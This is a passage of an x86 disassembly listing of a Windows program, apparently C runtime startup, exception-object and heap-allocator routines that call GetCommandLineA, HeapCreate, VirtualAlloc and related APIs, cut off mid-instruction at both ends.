10h mov dword_492800, eax xor esi, esi push esi call sub_41820B pop ecx test eax, eax jnz short loc_417F3C push 1Ch call sub_417FEB pop ecx loc_417F3C: ; CODE XREF: sub_417ED0+62j mov [ebp+var_4], esi call sub_41D67E call ds:dword_495444 ; GetCommandLineA mov dword_494278, eax call sub_41D54C mov dword_492840, eax call sub_41D2FF call sub_41D246 call sub_4177E0 mov [ebp+var_30], esi lea eax, [ebp+var_5C] push eax call ds:dword_495440 ; GetStartupInfoA call sub_41D1EE mov [ebp+var_64], eax test byte ptr [ebp+var_30], 1 jz short loc_417F89 movzx eax, [ebp+var_2C] jmp short loc_417F8C ; --------------------------------------------------------------------------- loc_417F89: ; CODE XREF: sub_417ED0+B1j push 0Ah pop eax loc_417F8C: ; CODE XREF: sub_417ED0+B7j push eax push [ebp+var_64] push esi push esi call ds:dword_4953A8 ; GetModuleHandleA push eax call sub_4012D0 mov [ebp+var_60], eax push eax call sub_41780D mov eax, [ebp+var_14] mov ecx, [eax] mov ecx, [ecx] mov [ebp+var_68], ecx push eax push ecx call sub_41D06A pop ecx pop ecx retn sub_417ED0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov esp, [ebp-18h] push dword ptr [ebp-68h] call sub_41781E ; =============== S U B R O U T I N E ======================================= sub_417FC6 proc near ; CODE XREF: sub_4167F2+16p ; sub_41D246+4Ep ... arg_0 = dword ptr 4 cmp dword_492848, 1 jnz short loc_417FD4 call sub_41D92C loc_417FD4: ; CODE XREF: sub_417FC6+7j push [esp+arg_0] call sub_41D965 push 0FFh call off_435AA0 pop ecx pop ecx retn sub_417FC6 endp ; =============== S U B R O U T I N E ======================================= sub_417FEB proc near ; CODE XREF: sub_417ED0+66p arg_0 = dword ptr 4 cmp dword_492848, 1 jnz short loc_417FF9 call sub_41D92C loc_417FF9: ; CODE XREF: sub_417FEB+7j push [esp+arg_0] call sub_41D965 pop ecx push 0FFh call ds:dword_495350 ; ExitProcess retn sub_417FEB endp ; --------------------------------------------------------------------------- mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax+8], 0 mov dword ptr [eax], offset off_4275F8 retn ; =============== S U B R O U T I N E ======================================= sub_418020 proc near ; DATA XREF: .rdata:off_4275F8o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4180E2 test [esp+4+arg_0], 1 jz short loc_418036 push esi call sub_4158CA pop ecx loc_418036: ; CODE XREF: sub_418020+Dj mov eax, esi pop esi retn 4 sub_418020 endp ; =============== S U B R O U T I N E ======================================= sub_41803C proc near ; CODE XREF: sub_4155CD+1Fp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_4275F8 push dword ptr [edi] call sub_4158E0 inc eax push eax call sub_416765 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_41806B push dword ptr [edi] push eax call sub_4175D0 pop ecx pop ecx loc_41806B: ; CODE XREF: sub_41803C+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_41803C endp ; =============== S U B R O U T I N E ======================================= sub_418079 proc near ; CODE XREF: sub_4156B4+17p ; .text:004180D7p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_4275F8 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_4180B6 push dword ptr [edi+4] call sub_4158E0 inc eax push eax call sub_416765 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4180BC push dword ptr [edi+4] push eax call sub_4175D0 pop ecx pop ecx jmp short loc_4180BC ; --------------------------------------------------------------------------- loc_4180B6: ; CODE XREF: sub_418079+16j mov eax, [edi+4] mov [esi+4], eax loc_4180BC: ; CODE XREF: sub_418079+2Ej ; sub_418079+3Bj mov eax, esi pop edi pop esi retn 4 sub_418079 endp ; --------------------------------------------------------------------------- push esi mov esi, ecx cmp esi, [esp+8] jz short loc_4180DC call sub_4180E2 push dword ptr [esp+8] mov ecx, esi call sub_418079 loc_4180DC: ; CODE XREF: .text:004180CAj mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_4180E2 proc near ; CODE XREF: sub_41565B+2Bp ; sub_415711+2Bp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_4275F8 jz short locret_4180F7 push dword ptr [ecx+4] call sub_4158CA pop ecx locret_4180F7: ; CODE XREF: sub_4180E2+Aj retn sub_4180E2 endp ; =============== S U B R O U T I N E ======================================= sub_4180F8 proc near ; DATA XREF: .rdata:004275FCo mov eax, [ecx+4] test eax, eax jnz short locret_418104 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_418104: ; CODE XREF: sub_4180F8+5j retn sub_4180F8 endp ; =============== S U B R O U T I N E ======================================= sub_418105 proc near ; CODE XREF: sub_41811A+3p mov dword ptr [ecx], offset off_427618 mov ecx, [ecx+4] test ecx, ecx jz short locret_418119 push ecx call sub_415D6C pop ecx locret_418119: ; CODE XREF: sub_418105+Bj retn sub_418105 endp ; =============== S U B R O U T I N E ======================================= sub_41811A proc near ; DATA XREF: .rdata:off_427618o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_418105 test [esp+4+arg_0], 1 jz short loc_418130 push esi call sub_4158CA pop ecx loc_418130: ; CODE XREF: sub_41811A+Dj mov eax, esi pop esi retn 4 sub_41811A endp ; --------------------------------------------------------------------------- mov eax, [esp+4] add ecx, 9 add eax, 9 push ecx push eax call sub_416B70 neg eax pop ecx sbb eax, eax pop ecx inc eax retn 4 ; --------------------------------------------------------------------------- mov eax, [esp+4] add ecx, 9 add eax, 9 push ecx push eax call sub_416B70 neg eax pop ecx sbb eax, eax pop ecx neg eax retn 4 ; --------------------------------------------------------------------------- mov eax, [esp+4] add ecx, 9 add eax, 9 push ecx push eax call sub_416B70 pop ecx pop ecx xor ecx, ecx test eax, eax setnle cl mov eax, ecx retn 4 ; --------------------------------------------------------------------------- lea eax, [ecx+8] retn ; --------------------------------------------------------------------------- mov eax, ecx mov dword ptr [eax], offset off_427618 retn 4 ; --------------------------------------------------------------------------- mov eax, ecx retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4181A0 proc near ; CODE XREF: sub_415573+54p ; sub_41563E+18p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427620 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call ds:dword_49544C ; RaiseException pop edi pop esi leave retn 8 sub_4181A0 endp ; --------------------------------------------------------------------------- mov ecx, [esp+4] mov eax, dword_492850 mov dword_492850, ecx retn ; --------------------------------------------------------------------------- mov eax, dword_492850 retn ; =============== S U B R O U T I N E ======================================= sub_4181F0 proc near ; CODE XREF: sub_415D0A+1Fp ; sub_416ED2+106p ... arg_0 = dword ptr 4 mov eax, dword_492850 test eax, eax jz short loc_418208 push [esp+arg_0] call eax test eax, eax pop ecx jz short loc_418208 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_418208: ; CODE XREF: sub_4181F0+7j ; sub_4181F0+12j xor eax, eax retn sub_4181F0 endp ; =============== S U B R O U T I N E ======================================= sub_41820B proc near ; CODE XREF: sub_417ED0+5Ap arg_0 = dword ptr 4 xor eax, eax push 0 cmp [esp+4+arg_0], eax push 1000h setz al push eax call ds:dword_495454 ; HeapCreate test eax, eax mov dword_49426C, eax jz short loc_418240 call sub_4182D9 test eax, eax jnz short loc_418243 push dword_49426C call ds:dword_495450 ; HeapDestroy loc_418240: ; CODE XREF: sub_41820B+1Ej xor eax, eax retn ; --------------------------------------------------------------------------- loc_418243: ; CODE XREF: sub_41820B+27j push 1 pop eax retn sub_41820B endp ; --------------------------------------------------------------------------- push ebx xor ebx, ebx cmp dword_494264, ebx push ebp mov ebp, ds:dword_49542C jle short loc_41829D mov eax, dword_494268 push esi push edi mov edi, ds:dword_495458 lea esi, [eax+0Ch] loc_418269: ; CODE XREF: .text:00418299j push 4000h push 100000h push dword ptr [esi] call edi ; VirtualFree push 8000h push 0 push dword ptr [esi] call edi ; VirtualFree push dword ptr [esi+4] push 0 push dword_49426C call ebp ; RtlFreeHeap add esi, 14h inc ebx cmp ebx, dword_494264 jl short loc_418269 pop edi pop esi loc_41829D: ; CODE XREF: .text:00418257j push dword_494268 push 0 push dword_49426C call ebp ; RtlFreeHeap push dword_49426C call ds:dword_495450 ; HeapDestroy pop ebp pop ebx retn ; --------------------------------------------------------------------------- mov eax, dword_435AC8 retn ; --------------------------------------------------------------------------- mov eax, [esp+4] cmp eax, 3F8h jbe short loc_4182D0 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4182D0: ; CODE XREF: .text:004182CBj push 1 mov dword_435AC8, eax pop eax retn ; =============== S U B R O U T I N E ======================================= sub_4182D9 proc near ; CODE XREF: sub_41820B+20p push 140h push 0 push dword_49426C call ds:dword_495428 ; RtlAllocateHeap test eax, eax mov dword_494268, eax jnz short loc_4182F6 retn ; --------------------------------------------------------------------------- loc_4182F6: ; CODE XREF: sub_4182D9+1Aj and dword_494260, 0 and dword_494264, 0 push 1 mov dword_49425C, eax mov dword_494248, 10h pop eax retn sub_4182D9 endp ; =============== S U B R O U T I N E ======================================= sub_418317 proc near ; CODE XREF: sub_415D6C+Ap ; sub_416ED2+3Dp ... arg_0 = dword ptr 4 mov eax, dword_494264 lea ecx, [eax+eax*4] mov eax, dword_494268 lea ecx, [eax+ecx*4] loc_418327: ; CODE XREF: sub_418317+26j cmp eax, ecx jnb short loc_41833F mov edx, [esp+arg_0] sub edx, [eax+0Ch] cmp edx, 100000h jb short locret_418341 add eax, 14h jmp short loc_418327 ; --------------------------------------------------------------------------- loc_41833F: ; CODE XREF: sub_418317+12j xor eax, eax locret_418341: ; CODE XREF: sub_418317+21j retn sub_418317 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418342 proc near ; CODE XREF: sub_415D6C+16p ; sub_416ED2+89p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push ebx push esi mov eax, [ecx+10h] mov esi, edx sub esi, [ecx+0Ch] mov ebx, [edx-4] add edx, 0FFFFFFFCh push edi shr esi, 0Fh mov ecx, esi mov edi, [edx-4] imul ecx, 204h dec ebx mov [ebp+var_4], edi lea ecx, [ecx+eax+144h] mov [ebp+var_C], ebx mov [ebp+var_10], ecx mov ecx, [ebx+edx] test cl, 1 mov [ebp+var_8], ecx jnz short loc_418408 sar ecx, 4 push 3Fh dec ecx pop edi mov [ebp+arg_4], ecx cmp ecx, edi jbe short loc_41839A mov [ebp+arg_4], edi loc_41839A: ; CODE XREF: sub_418342+53j mov ecx, [ebx+edx+4] cmp ecx, [ebx+edx+8] jnz short loc_4183EC mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_4183C8 mov edi, 80000000h shr edi, cl lea ecx, [ecx+eax+4] not edi and [eax+esi*4+44h], edi dec byte ptr [ecx] jnz short loc_4183EC mov ecx, [ebp+arg_0] and [ecx], edi jmp short loc_4183EC ; --------------------------------------------------------------------------- loc_4183C8: ; CODE XREF: sub_418342+68j add ecx, 0FFFFFFE0h mov edi, 80000000h shr edi, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edi and [eax+esi*4+0C4h], edi dec byte ptr [ecx] jnz short loc_4183EC mov ecx, [ebp+arg_0] and [ecx+4], edi loc_4183EC: ; CODE XREF: sub_418342+60j ; sub_418342+7Dj ... mov ecx, [ebx+edx+8] mov edi, [ebx+edx+4] mov [ecx+4], edi mov ecx, [ebx+edx+4] mov edi, [ebx+edx+8] add ebx, [ebp+var_8] mov [ecx+8], edi mov [ebp+var_C], ebx loc_418408: ; CODE XREF: sub_418342+45j mov edi, ebx sar edi, 4 dec edi cmp edi, 3Fh jbe short loc_418416 push 3Fh pop edi loc_418416: ; CODE XREF: sub_418342+CFj mov ecx, [ebp+var_4] and ecx, 1 mov [ebp+var_14], ecx jnz loc_4184C5 sub edx, [ebp+var_4] mov ecx, [ebp+var_4] sar ecx, 4 push 3Fh mov [ebp+var_8], edx dec ecx pop edx cmp ecx, edx mov [ebp+arg_4], ecx jbe short loc_418441 mov [ebp+arg_4], edx mov ecx, edx loc_418441: ; CODE XREF: sub_418342+F8j add ebx, [ebp+var_4] mov edi, ebx mov [ebp+var_C], ebx sar edi, 4 dec edi cmp edi, edx jbe short loc_418453 mov edi, edx loc_418453: ; CODE XREF: sub_418342+10Dj cmp ecx, edi jz short loc_4184C2 mov ecx, [ebp+var_8] mov edx, [ecx+4] cmp edx, [ecx+8] jnz short loc_4184AA mov ecx, [ebp+arg_4] cmp ecx, 20h jnb short loc_418486 mov edx, 80000000h shr edx, cl lea ecx, [ecx+eax+4] not edx and [eax+esi*4+44h], edx dec byte ptr [ecx] jnz short loc_4184AA mov ecx, [ebp+arg_0] and [ecx], edx jmp short loc_4184AA ; --------------------------------------------------------------------------- loc_418486: ; CODE XREF: sub_418342+126j add ecx, 0FFFFFFE0h mov edx, 80000000h shr edx, cl mov ecx, [ebp+arg_4] lea ecx, [ecx+eax+4] not edx and [eax+esi*4+0C4h], edx dec byte ptr [ecx] jnz short loc_4184AA mov ecx, [ebp+arg_0] and [ecx+4], edx loc_4184AA: ; CODE XREF: sub_418342+11Ej ; sub_418342+13Bj ... mov ecx, [ebp+var_8] mov edx, [ecx+8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_8] mov edx, [ecx+4] mov ecx, [ecx+8] mov [edx+8], ecx loc_4184C2: ; CODE XREF: sub_418342+113j mov edx, [ebp+var_8] loc_4184C5: ; CODE XREF: sub_418342+DDj cmp [ebp+var_14], 0 jnz short loc_4184D4 cmp [ebp+arg_4], edi jz loc_41855D loc_4184D4: ; CODE XREF: sub_418342+187j mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov ecx, [ecx+4] mov [edx+4], ecx mov ecx, [ebp+var_10] lea ecx, [ecx+edi*8] mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_41855D mov cl, [edi+eax+4] cmp edi, 20h mov byte ptr [ebp+arg_4+3], cl inc cl mov [edi+eax+4], cl jnb short loc_418531 cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418520 mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+arg_0] or [ecx], ebx loc_418520: ; CODE XREF: sub_418342+1CEj mov ebx, 80000000h mov ecx, edi shr ebx, cl lea eax, [eax+esi*4+44h] or [eax], ebx jmp short loc_41855A ; --------------------------------------------------------------------------- loc_418531: ; CODE XREF: sub_418342+1C8j cmp byte ptr [ebp+arg_4+3], 0 jnz short loc_418547 lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+arg_0] or [ecx+4], ebx loc_418547: ; CODE XREF: sub_418342+1F3j lea ecx, [edi-20h] mov edi, 80000000h shr edi, cl lea eax, [eax+esi*4+0C4h] or [eax], edi loc_41855A: ; CODE XREF: sub_418342+1EDj mov ebx, [ebp+var_C] loc_41855D: ; CODE XREF: sub_418342+18Cj ; sub_418342+1B6j mov eax, [ebp+var_10] mov [edx], ebx mov [ebx+edx-4], ebx dec dword ptr [eax] jnz loc_418668 mov eax, dword_494260 test eax, eax jz loc_41865A mov ecx, dword_494258 mov edi, ds:dword_495458 shl ecx, 0Fh add ecx, [eax+0Ch] mov ebx, 8000h push 4000h push ebx push ecx call edi ; VirtualFree mov ecx, dword_494258 mov eax, dword_494260 mov edx, 80000000h shr edx, cl or [eax+8], edx mov eax, dword_494260 mov ecx, dword_494258 mov eax, [eax+10h] and dword ptr [eax+ecx*4+0C4h], 0 mov eax, dword_494260 mov eax, [eax+10h] dec byte ptr [eax+43h] mov eax, dword_494260 mov ecx, [eax+10h] cmp byte ptr [ecx+43h], 0 jnz short loc_4185E8 and dword ptr [eax+4], 0FFFFFFFEh mov eax, dword_494260 loc_4185E8: ; CODE XREF: sub_418342+29Bj cmp dword ptr [eax+8], 0FFFFFFFFh jnz short loc_41865A push ebx push 0 push dword ptr [eax+0Ch] call edi ; VirtualFree mov eax, dword_494260 push dword ptr [eax+10h] push 0 push dword_49426C call ds:dword_49542C ; RtlFreeHeap mov eax, dword_494264 mov edx, dword_494268 lea eax, [eax+eax*4] shl eax, 2 mov ecx, eax mov eax, dword_494260 sub ecx, eax lea ecx, [ecx+edx-14h] push ecx lea ecx, [eax+14h] push ecx push eax call sub_416430 mov eax, [ebp+arg_0] add esp, 0Ch dec dword_494264 cmp eax, dword_494260 jbe short loc_41864C sub eax, 14h loc_41864C: ; CODE XREF: sub_418342+305j mov ecx, dword_494268 mov dword_49425C, ecx jmp short loc_41865D ; --------------------------------------------------------------------------- loc_41865A: ; CODE XREF: sub_418342+233j ; sub_418342+2AAj mov eax, [ebp+arg_0] loc_41865D: ; CODE XREF: sub_418342+316j mov dword_494260, eax mov dword_494258, esi loc_418668: ; CODE XREF: sub_418342+226j pop edi pop esi pop ebx leave retn sub_418342 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41866D proc near ; CODE XREF: sub_415D36+Ep ; sub_416ED2+69p ... var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, dword_494264 mov edx, dword_494268 push ebx push esi lea eax, [eax+eax*4] push edi lea edi, [edx+eax*4] mov eax, [ebp+arg_0] mov [ebp+var_4], edi lea ecx, [eax+17h] and ecx, 0FFFFFFF0h mov [ebp+var_10], ecx sar ecx, 4 dec ecx cmp ecx, 20h jge short loc_4186AD or esi, 0FFFFFFFFh shr esi, cl or [ebp+var_8], 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_4186BD ; --------------------------------------------------------------------------- loc_4186AD: ; CODE XREF: sub_41866D+30j add ecx, 0FFFFFFE0h or eax, 0FFFFFFFFh xor esi, esi shr eax, cl mov [ebp+var_C], esi mov [ebp+var_8], eax loc_4186BD: ; CODE XREF: sub_41866D+3Ej mov eax, dword_49425C mov ebx, eax cmp ebx, edi mov [ebp+arg_0], ebx jnb short loc_4186E4 loc_4186CB: ; CODE XREF: sub_41866D+75j mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4186E4 add ebx, 14h cmp ebx, [ebp+var_4] mov [ebp+arg_0], ebx jb short loc_4186CB loc_4186E4: ; CODE XREF: sub_41866D+5Cj ; sub_41866D+6Aj cmp ebx, [ebp+var_4] jnz short loc_418762 mov ebx, edx loc_4186EB: ; CODE XREF: sub_41866D+96j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418707 mov ecx, [ebx+4] mov edi, [ebx] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_418705 add ebx, 14h jmp short loc_4186EB ; --------------------------------------------------------------------------- loc_418705: ; CODE XREF: sub_41866D+91j cmp ebx, eax loc_418707: ; CODE XREF: sub_41866D+83j jnz short loc_418762 loc_418709: ; CODE XREF: sub_41866D+ADj cmp ebx, [ebp+var_4] jnb short loc_41871F cmp dword ptr [ebx+8], 0 jnz short loc_41871C add ebx, 14h mov [ebp+arg_0], ebx jmp short loc_418709 ; --------------------------------------------------------------------------- loc_41871C: ; CODE XREF: sub_41866D+A5j cmp ebx, [ebp+var_4] loc_41871F: ; CODE XREF: sub_41866D+9Fj jnz short loc_418747 mov ebx, edx loc_418723: ; CODE XREF: sub_41866D+C6j cmp ebx, eax mov [ebp+arg_0], ebx jnb short loc_418737 cmp dword ptr [ebx+8], 0 jnz short loc_418735 add ebx, 14h jmp short loc_418723 ; --------------------------------------------------------------------------- loc_418735: ; CODE XREF: sub_41866D+C1j cmp ebx, eax loc_418737: ; CODE XREF: sub_41866D+BBj jnz short loc_418747 call sub_418976 mov ebx, eax test ebx, ebx mov [ebp+arg_0], ebx jz short loc_41875B loc_418747: ; CODE XREF: sub_41866D:loc_41871Fj ; sub_41866D:loc_418737j push ebx call sub_418A27 pop ecx mov ecx, [ebx+10h] mov [ecx], eax mov eax, [ebx+10h] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_418762 loc_41875B: ; CODE XREF: sub_41866D+D8j xor eax, eax jmp loc_418971 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41866D+7Aj ; sub_41866D:loc_418707j ... mov dword_49425C, ebx mov eax, [ebx+10h] mov edx, [eax] cmp edx, 0FFFFFFFFh mov [ebp+var_4], edx jz short loc_418789 mov ecx, [eax+edx*4+0C4h] mov edi, [eax+edx*4+44h] and ecx, [ebp+var_8] and edi, esi or ecx, edi jnz short loc_4187C0 loc_418789: ; CODE XREF: sub_41866D+106j mov edx, [eax+0C4h] mov esi, [eax+44h] and edx, [ebp+var_8] and esi, [ebp+var_C] and [ebp+var_4], 0 lea ecx, [eax+44h] or edx, esi mov esi, [ebp+var_C] jnz short loc_4187BD loc_4187A6: ; CODE XREF: sub_41866D+14Ej mov edx, [ecx+84h] inc [ebp+var_4] and edx, [ebp+var_8] add ecx, 4 mov edi, esi and edi, [ecx] or edx, edi jz short loc_4187A6 loc_4187BD: ; CODE XREF: sub_41866D+137j mov edx, [ebp+var_4] loc_4187C0: ; CODE XREF: sub_41866D+11Aj mov ecx, edx xor edi, edi imul ecx, 204h lea ecx, [ecx+eax+144h] mov [ebp+var_C], ecx mov ecx, [eax+edx*4+44h] and ecx, esi jnz short loc_4187E9 mov ecx, [eax+edx*4+0C4h] push 20h and ecx, [ebp+var_8] pop edi loc_4187E9: ; CODE XREF: sub_41866D+16Dj ; sub_41866D+183j test ecx, ecx jl short loc_4187F2 shl ecx, 1 inc edi jmp short loc_4187E9 ; --------------------------------------------------------------------------- loc_4187F2: ; CODE XREF: sub_41866D+17Ej mov ecx, [ebp+var_C] mov edx, [ecx+edi*8+4] mov ecx, [edx] sub ecx, [ebp+var_10] mov esi, ecx mov [ebp+var_8], ecx sar esi, 4 dec esi cmp esi, 3Fh jle short loc_41880F push 3Fh pop esi loc_41880F: ; CODE XREF: sub_41866D+19Dj cmp esi, edi jz loc_418924 mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418880 cmp edi, 20h jge short loc_41884F mov ebx, 80000000h mov ecx, edi shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] not ebx mov [ebp+var_14], ebx and ebx, [eax+ecx*4+44h] mov [eax+ecx*4+44h], ebx dec byte ptr [edi] jnz short loc_41887D mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx], ecx jmp short loc_418880 ; --------------------------------------------------------------------------- loc_41884F: ; CODE XREF: sub_41866D+1B5j lea ecx, [edi-20h] mov ebx, 80000000h shr ebx, cl mov ecx, [ebp+var_4] lea edi, [eax+edi+4] lea ecx, [eax+ecx*4+0C4h] not ebx and [ecx], ebx dec byte ptr [edi] mov [ebp+var_14], ebx jnz short loc_41887D mov ebx, [ebp+arg_0] mov ecx, [ebp+var_14] and [ebx+4], ecx jmp short loc_418880 ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_41866D+1D6j ; sub_41866D+203j mov ebx, [ebp+arg_0] loc_418880: ; CODE XREF: sub_41866D+1B0j ; sub_41866D+1E0j ... mov ecx, [edx+8] mov edi, [edx+4] cmp [ebp+var_8], 0 mov [ecx+4], edi mov ecx, [edx+4] mov edi, [edx+8] mov [ecx+8], edi jz loc_418930 mov ecx, [ebp+var_C] mov edi, [ecx+esi*8+4] lea ecx, [ecx+esi*8] mov [edx+4], edi mov [edx+8], ecx mov [ecx+4], edx mov ecx, [edx+4] mov [ecx+8], edx mov ecx, [edx+4] cmp ecx, [edx+8] jnz short loc_418921 mov cl, [esi+eax+4] cmp esi, 20h mov byte ptr [ebp+arg_0+3], cl jge short loc_4188F2 inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_4188E0 mov edi, 80000000h mov ecx, esi shr edi, cl or [ebx], edi loc_4188E0: ; CODE XREF: sub_41866D+266j mov edi, 80000000h mov ecx, esi shr edi, cl mov ecx, [ebp+var_4] or [eax+ecx*4+44h], edi jmp short loc_418921 ; --------------------------------------------------------------------------- loc_4188F2: ; CODE XREF: sub_41866D+25Aj inc cl cmp byte ptr [ebp+arg_0+3], 0 mov [esi+eax+4], cl jnz short loc_41890B lea ecx, [esi-20h] mov edi, 80000000h shr edi, cl or [ebx+4], edi loc_41890B: ; CODE XREF: sub_41866D+28Fj mov ecx, [ebp+var_4] lea edi, [eax+ecx*4+0C4h] lea ecx, [esi-20h] mov esi, 80000000h shr esi, cl or [edi], esi loc_418921: ; CODE XREF: sub_41866D+24Ej ; sub_41866D+283j mov ecx, [ebp+var_8] loc_418924: ; CODE XREF: sub_41866D+1A4j test ecx, ecx jz short loc_418933 mov [edx], ecx mov [ecx+edx-4], ecx jmp short loc_418933 ; --------------------------------------------------------------------------- loc_418930: ; CODE XREF: sub_41866D+229j mov ecx, [ebp+var_8] loc_418933: ; CODE XREF: sub_41866D+2B9j ; sub_41866D+2C1j mov esi, [ebp+var_10] add edx, ecx lea ecx, [esi+1] mov [edx], ecx mov [edx+esi-4], ecx mov esi, [ebp+var_C] mov ecx, [esi] test ecx, ecx lea edi, [ecx+1] mov [esi], edi jnz short loc_418969 cmp ebx, dword_494260 jnz short loc_418969 mov ecx, [ebp+var_4] cmp ecx, dword_494258 jnz short loc_418969 and dword_494260, 0 loc_418969: ; CODE XREF: sub_41866D+2E0j ; sub_41866D+2E8j ... mov ecx, [ebp+var_4] mov [eax], ecx lea eax, [edx+4] loc_418971: ; CODE XREF: sub_41866D+F0j pop edi pop esi pop ebx leave retn sub_41866D endp ; =============== S U B R O U T I N E ======================================= sub_418976 proc near ; CODE XREF: sub_41866D+CCp mov eax, dword_494264 mov ecx, dword_494248 push esi push edi xor edi, edi cmp eax, ecx jnz short loc_4189B9 lea eax, [ecx+ecx*4+50h] shl eax, 2 push eax push dword_494268 push edi push dword_49426C call ds:dword_495434 ; RtlReAllocateHeap cmp eax, edi jz short loc_418A09 add dword_494248, 10h mov dword_494268, eax mov eax, dword_494264 loc_4189B9: ; CODE XREF: sub_418976+11j mov ecx, dword_494268 push 41C4h push 8 lea eax, [eax+eax*4] push dword_49426C lea esi, [ecx+eax*4] call ds:dword_495428 ; RtlAllocateHeap cmp eax, edi mov [esi+10h], eax jz short loc_418A09 push 4 push 2000h push 100000h push edi call ds:dword_49545C ; VirtualAlloc cmp eax, edi mov [esi+0Ch], eax jnz short loc_418A0D push dword ptr [esi+10h] push edi push dword_49426C call ds:dword_49542C ; RtlFreeHeap loc_418A09: ; CODE XREF: sub_418976+30j ; sub_418976+67j xor eax, eax jmp short loc_418A24 ; --------------------------------------------------------------------------- loc_418A0D: ; CODE XREF: sub_418976+81j or dword ptr [esi+8], 0FFFFFFFFh mov [esi], edi mov [esi+4], edi inc dword_494264 mov eax, [esi+10h] or dword ptr [eax], 0FFFFFFFFh mov eax, esi loc_418A24: ; CODE XREF: sub_418976+95j pop edi pop esi retn sub_418976 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A27 proc near ; CODE XREF: sub_41866D+DBp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov ecx, [ebp+arg_0] push ebx push esi push edi mov esi, [ecx+10h] mov eax, [ecx+8] xor ebx, ebx loc_418A39: ; CODE XREF: sub_418A27+19j test eax, eax jl short loc_418A42 shl eax, 1 inc ebx jmp short loc_418A39 ; --------------------------------------------------------------------------- loc_418A42: ; CODE XREF: sub_418A27+14j mov eax, ebx push 3Fh imul eax, 204h pop edx lea eax, [eax+esi+144h] mov [ebp+var_4], eax loc_418A57: ; CODE XREF: sub_418A27+3Aj mov [eax+8], eax mov [eax+4], eax add eax, 8 dec edx jnz short loc_418A57 mov edi, ebx push 4 shl edi, 0Fh add edi, [ecx+0Ch] push 1000h push 8000h push edi call ds:dword_49545C ; VirtualAlloc test eax, eax jnz short loc_418A8A or eax, 0FFFFFFFFh jmp loc_418B1D ; --------------------------------------------------------------------------- loc_418A8A: ; CODE XREF: sub_418A27+59j lea edx, [edi+7000h] cmp edi, edx ja short loc_418AD0 lea eax, [edi+10h] loc_418A97: ; CODE XREF: sub_418A27+A7j or dword ptr [eax-8], 0FFFFFFFFh or dword ptr [eax+0FECh], 0FFFFFFFFh lea ecx, [eax+0FFCh] mov dword ptr [eax-4], 0FF0h mov [eax], ecx lea ecx, [eax-1004h] mov [eax+4], ecx mov dword ptr [eax+0FE8h], 0FF0h add eax, 1000h lea ecx, [eax-10h] cmp ecx, edx jbe short loc_418A97 loc_418AD0: ; CODE XREF: sub_418A27+6Bj mov eax, [ebp+var_4] lea ecx, [edi+0Ch] add eax, 1F8h push 1 pop edi mov [eax+4], ecx mov [ecx+8], eax lea ecx, [edx+0Ch] mov [eax+8], ecx mov [ecx+4], eax and dword ptr [esi+ebx*4+44h], 0 mov [esi+ebx*4+0C4h], edi mov al, [esi+43h] mov cl, al inc cl test al, 